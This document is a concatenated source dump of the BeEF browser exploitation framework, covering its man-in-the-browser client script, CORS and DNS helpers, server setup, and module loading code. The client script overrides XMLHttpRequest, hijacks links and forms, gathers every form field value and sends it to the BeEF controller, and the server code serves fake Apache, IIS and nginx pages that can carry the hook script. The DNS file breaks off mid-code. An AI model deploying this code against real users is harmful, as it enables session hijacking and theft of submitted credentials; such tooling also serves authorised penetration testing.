/** * @namespace beef.mitb */ beef.mitb = { cid:null, curl:null, /** Initializes */ init:function (cid, curl) { beef.mitb.cid = cid; beef.mitb.curl = curl; /*Override open method to intercept ajax request*/ var hook_file = "<%= @hook_file %>"; if (window.XMLHttpRequest && !(window.ActiveXObject)) { beef.mitb.sniff("Method XMLHttpRequest.open override"); (function (open) { XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) { // Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler) // or a request initiated by the MiTB itself. if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) { open.call(this, method, url, async, true); }else { var portRegex = new RegExp(":[0-9]+"); var portR = portRegex.exec(url); var requestPort; if (portR != null) { requestPort = portR[0].split(":")[1]; } //GET request if (method == "GET") { //GET request -> cross-origin if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) { beef.mitb.sniff("GET [Ajax CrossOrigin Request]: " + url); window.open(url); }else { //GET request -> same-origin beef.mitb.sniff("GET [Ajax Request]: " + url); if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) { var title = ""; if (document.getElementsByTagName("title").length == 0) { title = document.title; } else { title = document.getElementsByTagName("title")[0].innerHTML; } // write the url of the page history.pushState({ Be:"EF" }, title, url); } } }else{ //POST request beef.mitb.sniff("POST ajax request to: " + url); open.call(this, method, url, async, true); } } }; })(XMLHttpRequest.prototype.open); } }, /** Initializes the hook on anchors and forms. */ hook:function () { beef.onpopstate.push(function (event) { beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]); }); beef.onclose.push(function (event) { beef.mitb.endSession(); }); var anchors = document.getElementsByTagName("a"); var forms = document.getElementsByTagName("form"); var lis = document.getElementsByTagName("li"); for (var i = 0; i < anchors.length; i++) { anchors[i].onclick = beef.mitb.poisonAnchor; } for (var i = 0; i < forms.length; i++) { beef.mitb.poisonForm(forms[i]); } for (var i = 0; i < lis.length; i++) { if (lis[i].hasAttribute("onclick")) { lis[i].removeAttribute("onclick"); /*clear*/ lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')"); /*override*/ } } }, /** Hooks anchors and prevents them from linking away */ poisonAnchor:function (e) { try { e.preventDefault; if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) { var title = ""; if (document.getElementsByTagName("title").length == 0) { title = document.title; } else { title = document.getElementsByTagName("title")[0].innerHTML; } history.pushState({ Be:"EF" }, title, e.currentTarget); } } catch (e) { beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message); } return false; }, /** Hooks forms and prevents them from linking away */ poisonForm:function (form) { form.onsubmit = function (e) { // Collect tags. var inputs = form.getElementsByTagName("input"); var query = ""; for (var i = 0; i < inputs.length; i++) { switch (inputs[i].type) { case "submit": break; default: query += inputs[i].name + "=" + inputs[i].value + '&'; break; } } // Collect selected options from the form. var selects = form.getElementsByTagName("select"); for (var i = 0; i < selects.length; i++) { var select = selects[i]; query += select.name + "=" + select.options[select.selectedIndex].value + '&'; } // We should be gathering 'submit' inputs as well, as there are // applications demanding this parameter. var submit = $j('*[type="submit"]', form); if(submit.length) { // Append name of the submit button/input. query += submit.attr('name') + '=' + submit.attr('value'); } if(query.slice(-1) == '&') { query = query.slice(0, -1); } e.preventdefault; beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]); history.pushState({ Be:"EF" }, "", form.action); return false; } }, /** Fetches a hooked form with AJAX */ fetchForm:function (url, query, target) { try { var y = new XMLHttpRequest(); y.open('POST', url, false, true); y.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); y.onreadystatechange = function () { if (y.readyState == 4 && y.responseText != "") { target.innerHTML = y.responseText; setTimeout(beef.mitb.hook, 10); } }; y.send(query); beef.mitb.sniff("POST: " + url + "[" + query + "]"); return true; } catch (x) { return false; } }, /** Fetches a hooked link with AJAX */ fetch:function (url, target) { try { var y = new XMLHttpRequest(); y.open('GET', url, false, true); y.onreadystatechange = function () { if (y.readyState == 4 && y.responseText != "") { target.innerHTML = y.responseText; setTimeout(beef.mitb.hook, 10); } }; y.send(null); beef.mitb.sniff("GET: " + url); return true; } catch (x) { window.open(url); beef.mitb.sniff("GET [New Window]: " + url); return false; } }, /** Fetches a window.location=http://domainname.com and setting up history */ fetchOnclick:function (url) { try { var target = document.getElementsByTagName("html")[0]; var y = new XMLHttpRequest(); y.open('GET', url, false, true); y.onreadystatechange = function () { if (y.readyState == 4 && y.responseText != "") { var title = ""; if (document.getElementsByTagName("title").length == 0) { title = document.title; } else { title = document.getElementsByTagName("title")[0].innerHTML; } history.pushState({ Be:"EF" }, title, url); target.innerHTML = y.responseText; setTimeout(beef.mitb.hook, 10); } }; y.send(null); beef.mitb.sniff("GET: " + url); } catch (x) { // the link is cross-origin, so load the resource in a different tab window.open(url); beef.mitb.sniff("GET [New Window]: " + url); } }, /** Relays an entry to the framework */ sniff:function (result) { try { beef.net.send(beef.mitb.cid, beef.mitb.curl, result); } catch (x) { } return true; }, /** Signals the Framework that the user has lost the hook */ endSession:function () { beef.mitb.sniff("Window closed."); } }; beef.regCmp('beef.mitb'); ================================================ FILE: core/main/client/net/connection.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * beef.net.connection - wraps Mozilla's Network Information API * https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation * https://developer.mozilla.org/en-US/docs/Web/API/Navigator/connection * @namespace beef.net.connection */ beef.net.connection = { /** * Returns the connection type. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/type * @example beef.net.connection.type() * @return {String} connection type or 'unknown'. */ type: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; var type = connection.type; if (/^[a-z]+$/.test(type)) return type; else return 'unknown'; } catch(e) { beef.debug("Error retrieving connection type: " + e.message); return 'unknown'; } }, /** * Returns the maximum downlink speed of the connection. https://developer.mozilla.org/en-US/docs/Web/API/NetworkInformation/downlinkMax * @example beef.net.connection.downlinkMax() * @return {String} downlink max or 'unknown'. */ downlinkMax: function () { try { var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; var max = connection.downlinkMax; if (max) return max; else return 'unknown'; } catch(e) { beef.debug("Error retrieving connection downlink max: " + e.message); return 'unknown'; } } }; beef.regCmp('beef.net.connection'); ================================================ FILE: core/main/client/net/cors.js ================================================ /** * @namespace beef.net.cors */ beef.net.cors = { handler: "cors", /** * Response Object - used in the beef.net.request callback */ response:function () { this.status = null; // 500, 404, 200, 302, etc this.headers = null; // full response headers this.body = null; // full response body }, /** * Make a cross-origin request using CORS * * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.) * @param url {String} url * @param data {String} request body * @param timeout {Integer} request timeout in milliseconds * @param callback {Function} function to callback on completion */ request: function(method, url, data, timeout, callback) { var xhr; var response = new this.response; if (XMLHttpRequest) { xhr = new XMLHttpRequest(); if ('withCredentials' in xhr) { xhr.open(method, url, true); xhr.timeout = parseInt(timeout, 10); xhr.onerror = function() { }; xhr.onreadystatechange = function() { if (xhr.readyState === 4) { response.headers = this.getAllResponseHeaders() response.body = this.responseText; response.status = this.status; if (!!callback) { if (!!response) { callback(response); } else { callback('ERROR: No Response. CORS requests may be denied for this resource.') } } } }; xhr.send(data); } } else if (typeof XDomainRequest != "undefined") { xhr = new XDomainRequest(); xhr.open(method, url); xhr.onerror = function() { }; xhr.onload = function() { response.headers = this.getAllResponseHeaders() response.body = this.responseText; response.status = this.status; if (!!callback) { if (!!response) { callback(response); } else { callback('ERROR: No Response. CORS requests may be denied for this resource.') } } }; xhr.send(data); } else { if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.'); } } }; beef.regCmp('beef.net.cors'); ================================================ FILE: core/main/client/net/dns.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /** * * request object structure: * + msgId: {Integer} Unique message ID for the request. * + domain: {String} Remote domain to retrieve the data. * + wait: {Integer} Wait time between requests (milliseconds) - NOT IMPLEMENTED * + callback: {Function} Callback function to receive the number of requests sent. * @namespace beef.net.dns */ beef.net.dns = { handler: "dns", /** * * @param msgId * @param data * @param domain * @param callback */ send: function(msgId, data, domain, callback) { var encode_data = function(str) { var result=""; for(i=0;i" if config.get('beef.http.web_server_imitation.hook_root')).to_s + '' \ '' when 'iis' '' \ '' \ '' \ 'Under Construction' \ '' \ '' \ '' \ '' \ '' \ '' \ '
' \ "" \ '' \ '

' \ '

Under Construction

' \ '

' \ 'The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.' \ '

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.' \ '


' \ '

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help.' \ '

To access IIS Help
' \ '
    ' \ '
  1. Click Start, and then click Run.' \ '
  2. In the Open text box, type inetmgr. IIS Manager appears.' \ '
  3. From the Help menu, click Help Topics.' \ '
  4. Click Internet Information Services.
' \ '
' + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + '' \ '' when 'nginx' "\n" \ "\n" \ "\n" \ "Welcome to nginx!\n" \ "\n" \ "\n" \ "\n" \ "

Welcome to nginx!

\n" \ "

If you see this page, the nginx web server is successfully installed and\n" \ "working. Further configuration is required.

\n\n" \ "

For online documentation and support please refer to\n" \ "nginx.org.
\n" \ "Commercial support is available at\n" \ "nginx.com.

\n\n" \ "

Thank you for using nginx.

\n" + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + "\n" \ "\n" else print_error 'Configuration error in beef.http.web_server_imitation.type!' print_more 'Supported values are: apache, iis, nginx.' '' end end def error_page_404 config = BeEF::Core::Configuration.instance return 'Not Found.' unless config.get('beef.http.web_server_imitation.enable') case config.get('beef.http.web_server_imitation.type') when 'apache' return <<-EOF 404 Not Found

Not Found

The requested URL was not found on this server.


Apache/2.2.3 (CentOS)
#{("" if config.get('beef.http.web_server_imitation.hook_404'))} EOF when 'iis' return <<-EOF The page cannot be found

The page cannot be found

The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.

Please try the following:

  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • If you reached this page by clicking a link, contact the Web site administrator to alert them that the link is incorrectly formatted.
  • Click the Back button to try another link.

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)


Technical Information (for support personnel)

  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • Open IIS Help, which is accessible in IIS Manager (inetmgr),and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messa
#{("" if config.get('beef.http.web_server_imitation.hook_404'))} EOF when 'nginx' return <<-EOF 404 Not Found

404 Not Found


nginx
#{("" if config.get('beef.http.web_server_imitation.hook_404'))} EOF else print_error 'Configuration error in beef.http.web_server_imitation.type!' print_more 'Supported values are: apache, iis, nginx.' 'Not Found.' end end end end end end ================================================ FILE: core/main/server.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Remove Thin 'Server' response header Thin.send :remove_const, :SERVER Thin::SERVER = nil module BeEF module Core class Server include Singleton attr_reader :root_dir, :url, :configuration, :command_urls, :mounts, :semaphore def initialize @configuration = BeEF::Core::Configuration.instance @url = @configuration.beef_url_str @root_dir = File.expand_path('../../../', __dir__) @command_urls = {} @mounts = {} @rack_app @semaphore = Mutex.new end def to_h { 'beef_version' => @configuration.get('beef_version'), 'beef_url' => @url, 'beef_root_dir' => @root_dir, 'beef_host' => @configuration.beef_host, 'beef_port' => @configuration.beef_port, 'beef_public' => @configuration.public_host, 'beef_public_port' => @configuration.public_port, 'beef_hook' => @configuration.get('beef.http.hook_file'), 'beef_proto' => @configuration.beef_proto, 'client_debug' => @configuration.get('beef.client_debug') } end # # Mounts a handler, can either be a hard or soft mount # # @param [String] url The url to mount # @param [Class] http_handler_class Class to call once mount is triggered # @param args Arguments to pass to the http handler class # def mount(url, http_handler_class, args = nil) # argument type checking raise TypeError, '"url" needs to be a string' unless url.is_a?(String) @mounts[url] = if args.nil? http_handler_class else [http_handler_class, *args] end print_debug "Server: mounted handler '#{url}'" end # # Unmounts handler # # @param [String] url URL to unmount. # def unmount(url) raise TypeError, '"url" needs to be a string' unless url.is_a?(String) @mounts.delete url end # # Reload the URL map (used by the NetworkStack AssetHandler to mount new URLs at runtime) # def remap @rack_app.remap @mounts end # # Prepares the BeEF http server. # def prepare # Create http handler for the javascript hook file mount(@configuration.get('beef.http.hook_file').to_s, BeEF::Core::Handlers::HookedBrowsers.new) # Create handler for the initialization checks (Browser Details) mount('/init', BeEF::Core::Handlers::BrowserDetails) # Dynamically get the list of all the http handlers using the API and register them BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self) # Rack mount points @rack_app = Rack::URLMap.new(@mounts) return if @http_server # Set the logging level of Thin to match the config Thin::Logging.silent = true if @configuration.get('beef.http.debug') == true Thin::Logging.silent = false Thin::Logging.debug = true end # Create the BeEF http server @http_server = Thin::Server.new( @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), @rack_app ) # Configure SSL/TLS return unless @configuration.get('beef.http.https.enable') == true openssl_version = OpenSSL::OPENSSL_VERSION if openssl_version =~ / 1\.0\.1([a-f])? / print_warning "Warning: #{openssl_version} is vulnerable to Heartbleed (CVE-2014-0160)." print_more 'Upgrade OpenSSL to version 1.0.1g or newer.' end cert_key = @configuration.get 'beef.http.https.key' cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/' unless File.exist? cert_key print_error "Error: #{cert_key} does not exist" exit 1 end cert = @configuration.get 'beef.http.https.cert' cert = File.expand_path cert, $root_dir unless cert.start_with? '/' unless File.exist? cert print_error "Error: #{cert} does not exist" exit 1 end @http_server.ssl = true @http_server.ssl_options = { private_key_file: cert_key, cert_chain_file: cert, verify_peer: false } if Digest::SHA256.hexdigest(File.read(cert)).eql?('978f761fc30cbd174eab0c6ffd2d235849260c0589a99262f136669224c8d82a') || Digest::SHA256.hexdigest(File.read(cert_key)).eql?('446214bb608caf9e21dd105ce3d4ea65a3f32949906f3eb25a2c622a68623122') print_warning 'Warning: Default SSL cert/key in use.' print_more 'Use the generate-certificate utility to generate a new certificate.' end rescue StandardError => e print_error "Failed to prepare HTTP server: #{e.message}" print_error e.backtrace exit 1 end # # Starts the BeEF http server # def start @http_server.start do use OTR::ActiveRecord::ConnectionManagement end rescue RuntimeError => e # port is in use raise unless e.message.include? 'no acceptor' print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF to an invalid IP." print_error 'Is BeEF already running? Exiting...' exit 127 end end end end ================================================ FILE: core/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Module # Checks to see if module key is in configuration # @param [String] mod module key # @return [Boolean] if the module key exists in BeEF's configuration def self.is_present(mod) BeEF::Core::Configuration.instance.get('beef.module').key? mod.to_s end # Checks to see if module is enabled in configuration # @param [String] mod module key # @return [Boolean] if the module key is enabled in BeEF's configuration def self.is_enabled(mod) (is_present(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.enable") == true) end # Checks to see if the module reports that it has loaded through the configuration # @param [String] mod module key # @return [Boolean] if the module key is loaded in BeEF's configuration def self.is_loaded(mod) (is_enabled(mod) && BeEF::Core::Configuration.instance.get("beef.module.#{mod}.loaded") == true) end # Returns module class definition # @param [String] mod module key # @return [Class] the module class def self.get_definition(mod) BeEF::Core::Command.const_get(BeEF::Core::Configuration.instance.get("beef.module.#{mod}.class")) end # Gets all module options # @param [String] mod module key # @return [Hash] a hash of all the module options # @note API Fire: get_options def self.get_options(mod) if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod] options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod mo = [] options.each do |o| unless o[:data].is_a?(Array) print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.' next end mo += o[:data] end return mo end unless check_hard_load mod print_debug "get_opts called on unloaded module '#{mod}'" return [] end class_name = BeEF::Core::Configuration.instance.get "beef.module.#{mod}.class" class_symbol = BeEF::Core::Command.const_get class_name return [] unless class_symbol && class_symbol.respond_to?(:options) class_symbol.options end # Gets all module payload options # @param [String] mod module key # @return [Hash] a hash of all the module options # @note API Fire: get_options def self.get_payload_options(mod, payload) return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil]) BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload) end # Soft loads a module # @note A soft load consists of only loading the modules configuration (ie not the module.rb) # @param [String] mod module key # @return [Boolean] whether or not the soft load process was successful # @note API Fire: pre_soft_load # @note API Fire: post_soft_load def self.soft_load(mod) # API call for pre-soft-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_soft_load', mod) config = BeEF::Core::Configuration.instance mod_str = "beef.module.#{mod}" if config.get("#{mod_str}.loaded") print_error "Unable to load module '#{mod}'" return false end mod_path = "#{$root_dir}/#{config.get("#{mod_str}.path")}/module.rb" unless File.exist? mod_path print_debug "Unable to locate module file: #{mod_path}" return false end BeEF::Core::Configuration.instance.set("#{mod_str}.class", mod.capitalize) parse_targets mod print_debug "Soft Load module: '#{mod}'" # API call for post-soft-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod) true rescue StandardError => e print_error "There was a problem soft loading the module '#{mod}': #{e.message}" false end # Hard loads a module # @note A hard load consists of loading a pre-soft-loaded module by requiring the module.rb # @param [String] mod module key # @return [Boolean] whether or not the hard load was successful # @note API Fire: pre_hard_load # @note API Fire: post_hard_load def self.hard_load(mod) # API call for pre-hard-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'pre_hard_load', mod) config = BeEF::Core::Configuration.instance unless is_enabled mod print_error "Hard load attempted on module '#{mod}' that is not enabled." return false end mod_str = "beef.module.#{mod}" mod_path = "#{config.get("#{mod_str}.path")}/module.rb" require mod_path unless exists? config.get("#{mod_str}.class") print_error "Hard loaded module '#{mod}' but the class BeEF::Core::Commands::#{mod.capitalize} does not exist" return false end # start server mount point BeEF::Core::Server.instance.mount("/command/#{mod}.js", BeEF::Core::Handlers::Commands, mod) BeEF::Core::Configuration.instance.set("#{mod_str}.mount", "/command/#{mod}.js") BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", true) print_debug "Hard Load module: '#{mod}'" # API call for post-hard-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_hard_load', mod) true rescue StandardError => e BeEF::Core::Configuration.instance.set("#{mod_str}.loaded", false) print_error "There was a problem loading the module '#{mod}'" print_debug "Hard load module syntax error: #{e}" false end # Checks to see if a module has been hard loaded, if not a hard load is attempted # @param [String] mod module key # @return [Boolean] if already hard loaded then true otherwise (see #hard_load) def self.check_hard_load(mod) return true if is_loaded mod hard_load mod end # Get module key by database ID # @param [Integer] id module database ID # @return [String] module key def self.get_key_by_database_id(id) ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('db') && v['db']['id'].to_i == id.to_i end ret.is_a?(Array) ? ret.first.first : ret.keys.first end # Get module key by module class # @param [Class] c module class # @return [String] module key def self.get_key_by_class(c) ret = BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v.key?('class') && v['class'].to_s.eql?(c.to_s) end ret.is_a?(Array) ? ret.first.first : ret.keys.first end # Checks to see if module class exists # @param [String] mod module key # @return [Boolean] returns whether or not the class exists def self.exists?(mod) kclass = BeEF::Core::Command.const_get mod.capitalize kclass.is_a? Class rescue NameError false end # Checks target configuration to see if browser / version / operating system is supported # @param [String] mod module key # @param [Hash] opts hash of module support information # @return [Constant, nil] returns a resulting defined constant BeEF::Core::Constants::CommandModule::* # @note Support uses a rating system to provide the most accurate results. # 1 = All match. ie: All was defined. # 2 = String match. ie: Firefox was defined as working. # 3 = Hash match. ie: Firefox defined with 1 additional parameter (eg max_ver). # 4+ = As above but with extra parameters. # Please note this rating system has no correlation to the return constant value BeEF::Core::Constants::CommandModule::* def self.support(mod, opts) target_config = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.target") return nil unless target_config return nil unless opts.is_a? Hash unless opts.key? 'browser' print_error 'BeEF::Module.support() was passed a hash without a valid browser constant' return nil end results = [] target_config.each do |k, m| m.each do |v| case v when String if opts['browser'] == v # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end results << { 'rating' => 2, 'const' => k } end when Hash break if opts['browser'] != v.keys.first && v.keys.first != BeEF::Core::Constants::Browsers::ALL subv = v[v.keys.first] rating = 1 # version check if opts.key?('ver') if subv.key?('min_ver') break unless subv['min_ver'].is_a?(Integer) && opts['ver'].to_i >= subv['min_ver'] rating += 1 end if subv.key?('max_ver') break unless (subv['max_ver'].is_a?(Integer) && opts['ver'].to_i <= subv['max_ver']) || subv['max_ver'] == 'latest' rating += 1 end end # os check if opts.key?('os') && subv.key?('os') match = false opts['os'].each do |o| case subv['os'] when String if o == subv['os'] rating += 1 match = true elsif subv['os'].eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR match = true end when Array subv['os'].each do |p| if o == p rating += 1 match = true elsif p.eql? BeEF::Core::Constants::Os::OS_ALL_UA_STR match = true end end end end break unless match end if rating.positive? # if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING # rating += 1 # end results << { 'rating' => rating, 'const' => k } end end next unless v.eql? BeEF::Core::Constants::Browsers::ALL rating = 1 rating = 1 if k == BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING results << { 'rating' => rating, 'const' => k } end end return BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN unless results.count.positive? result = {} results.each do |r| result = { 'rating' => r['rating'], 'const' => r['const'] } if result == {} || r['rating'] > result['rating'] end result['const'] end # Translates module target configuration # @note Takes the user defined target configuration and replaces it with equivalent a constant based generated version # @param [String] mod module key def self.parse_targets(mod) mod_str = "beef.module.#{mod}" target_config = BeEF::Core::Configuration.instance.get("#{mod_str}.target") return unless target_config targets = {} target_config.each do |k, v| # Convert the key to a string if it's not already one k_str = k.to_s.upcase # Use the adjusted string key for the rest of the process next unless BeEF::Core::Constants::CommandModule.const_defined? "VERIFIED_#{k_str}" key = BeEF::Core::Constants::CommandModule.const_get "VERIFIED_#{k_str}" targets[key] = [] unless targets.key? key browser = nil case v when String browser = match_target_browser v targets[key] << browser if browser when Array v.each do |c| browser = match_target_browser c targets[key] << browser if browser end when Hash v.each do |k, c| browser = match_target_browser k next unless browser case c when TrueClass targets[key] << browser when Hash details = match_target_browser_spec c targets[key] << { browser => details } if details end end end rescue NameError print_error "Module '#{mod}' configuration has invalid target status defined '#{k}'" end BeEF::Core::Configuration.instance.clear "#{mod_str}.target" BeEF::Core::Configuration.instance.set "#{mod_str}.target", targets end # Translates simple browser target configuration # @note Takes a user defined browser type and translates it into a BeEF constant # @param [String] v user defined browser # @return [Constant] a BeEF browser constant def self.match_target_browser(v) unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser()' return false end return false unless BeEF::Core::Constants::Browsers.const_defined? v.upcase BeEF::Core::Constants::Browsers.const_get v.upcase rescue NameError print_error "Could not identify browser target specified as '#{v}'" false end # Translates complex browser target configuration # @note Takes a complex user defined browser hash and converts it to applicable BeEF constants # @param [Hash] v user defined browser hash # @return [Hash] BeEF constants hash def self.match_target_browser_spec(v) unless v.instance_of?(Hash) print_error 'Invalid datatype passed to BeEF::Module.match_target_browser_spec()' return {} end browser = {} browser['max_ver'] = v['max_ver'] if v.key?('max_ver') && (v['max_ver'].is_a?(Integer) || v['max_ver'].is_a?(Float) || v['max_ver'] == 'latest') browser['min_ver'] = v['min_ver'] if v.key?('min_ver') && (v['min_ver'].is_a?(Integer) || v['min_ver'].is_a?(Float)) return browser unless v.key?('os') case v['os'] when String os = match_target_os v['os'] browser['os'] = os if os when Array browser['os'] = [] v['os'].each do |c| os = match_target_os c browser['os'] << os if os end end browser end # Translates simple OS target configuration # @note Takes user defined OS specification and translates it into BeEF constants # @param [String] v user defined OS string # @return [Constant] BeEF OS Constant def self.match_target_os(v) unless v.instance_of?(String) print_error 'Invalid datatype passed to BeEF::Module.match_target_os()' return false end return false unless BeEF::Core::Constants::Os.const_defined? "OS_#{v.upcase}_UA_STR" BeEF::Core::Constants::Os.const_get "OS_#{v.upcase}_UA_STR" rescue NameError print_error "Could not identify OS target specified as '#{v}'" false end # Executes a module # @param [String] mod module key # @param [String] hbsession hooked browser session # @param [Array] opts array of module execute options (see #get_options) # @return [Integer] the command_id associated to the module execution when info is persisted. nil if there are errors. # @note The return value of this function does not specify if the module was successful, only that it was executed within the framework def self.execute(mod, hbsession, opts = []) unless is_present(mod) && is_enabled(mod) print_error "Module not found '#{mod}'. Failed to execute module." return nil end if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'override_execute', [mod, nil, nil] BeEF::API::Registrar.instance.fire BeEF::API::Module, 'override_execute', mod, hbsession, opts # @note We return not_nil by default as we cannot determine the correct status if multiple API hooks have been called # @note using metasploit, we cannot know if the module execution was successful or not return 'not_available' end hb = BeEF::HBManager.get_by_session hbsession unless hb print_error "Could not find hooked browser when attempting to execute module '#{mod}'" return nil end check_hard_load mod command_module = get_definition(mod).new(mod) command_module.pre_execute if command_module.respond_to?(:pre_execute) merge_options(mod, []) c = BeEF::Core::Models::Command.create( data: merge_options(mod, opts).to_json, hooked_browser_id: hb.id, command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"), creationdate: Time.new.to_i ) c.id end # Merges default module options with array of custom options # @param [String] mod module key # @param [Hash] opts module options customised by user input # @return [Hash, nil] returns merged options def self.merge_options(mod, opts) return nil unless is_present mod check_hard_load mod merged = [] defaults = get_options mod defaults.each do |v| mer = nil opts.each do |o| mer = v.deep_merge o if v.key?('name') && o.key?('name') && v['name'] == o['name'] end mer.nil? ? merged.push(v) : merged.push(mer) end merged end end end ================================================ FILE: core/modules.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # module BeEF module Modules # Return configuration hashes of all modules that are enabled # @return [Array] configuration hashes of all enabled modules def self.get_enabled BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v['enable'] == true && !v['category'].nil? end end # Return configuration hashes of all modules that are loaded # @return [Array] configuration hashes of all loaded modules def self.get_loaded BeEF::Core::Configuration.instance.get('beef.module').select do |_k, v| v['loaded'] == true end end # Return an array of categories specified in module configuration files # @return [Array] all available module categories sorted alphabetically def self.get_categories categories = [] BeEF::Core::Configuration.instance.get('beef.module').each_value do |v| flatcategory = '' if v['category'].is_a?(Array) # Therefore this module has nested categories (sub-folders), # munge them together into a string with '/' characters, like a folder. v['category'].each do |cat| flatcategory << "#{cat}/" end else flatcategory = v['category'] end categories << flatcategory unless categories.include? flatcategory end # This is now uniqued, because otherwise the recursive function to build # the json tree breaks if there are duplicates. categories.sort.uniq end # Get all modules currently stored in the database # @return [Array] DataMapper array of all BeEF::Core::Models::CommandModule's in the database def self.get_stored_in_db BeEF::Core::Models::CommandModule.all.order(:id) end # Loads all enabled modules # @note API Fire: post_soft_load def self.load BeEF::Core::Configuration.instance.load_modules_config get_enabled.each_key do |k| BeEF::Module.soft_load k end BeEF::API::Registrar.instance.fire BeEF::API::Modules, 'post_soft_load' end end end ================================================ FILE: core/ruby/hash.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Hash # Recursively deep merge two hashes together # @param [Hash] hash Hash to be merged # @return [Hash] Combined hash # @note Duplicate keys are overwritten by the value defined # in the hash calling deep_merge (not the parameter hash) # @note http://snippets.dzone.com/posts/show/4706 def deep_merge(hash) target = dup hash.keys.each do |key| if hash[key].is_a?(Hash) && self[key].is_a?(Hash) target[key] = target[key].deep_merge hash[key] next end target[key] = hash[key] end target end end ================================================ FILE: core/ruby/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Module # Returns the classes in the current ObjectSpace where this module has been mixed in according to Module#included_modules. # @return [Array] An array of classes def included_in_classes classes = [] ObjectSpace.each_object(Class) { |k| classes << k if k.included_modules.include?(self) } classes.reverse.each_with_object([]) do |klass, unique_classes| unique_classes << klass unless unique_classes.collect { |k| k.to_s }.include?(klass.to_s) end end # Returns the modules in the current ObjectSpace where this module has been mixed in according to Module#included_modules. # @return [Array] An array of modules def included_in_modules modules = [] ObjectSpace.each_object(Module) { |k| modules << k if k.included_modules.include?(self) } modules.reverse.each_with_object([]) do |klass, unique_modules| unique_modules << klass unless unique_modules.collect { |k| k.to_s }.include?(klass.to_s) end end end ================================================ FILE: core/ruby/print.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # # Function used to print errors to the console # @param [String] s String to be printed def print_error(s) puts Time.now.localtime.strftime('[%k:%M:%S]') + '[!]' + ' ' + s.to_s BeEF.logger.error s.to_s end # Function used to print information to the console # @param [String] s String to be printed def print_info(s) puts 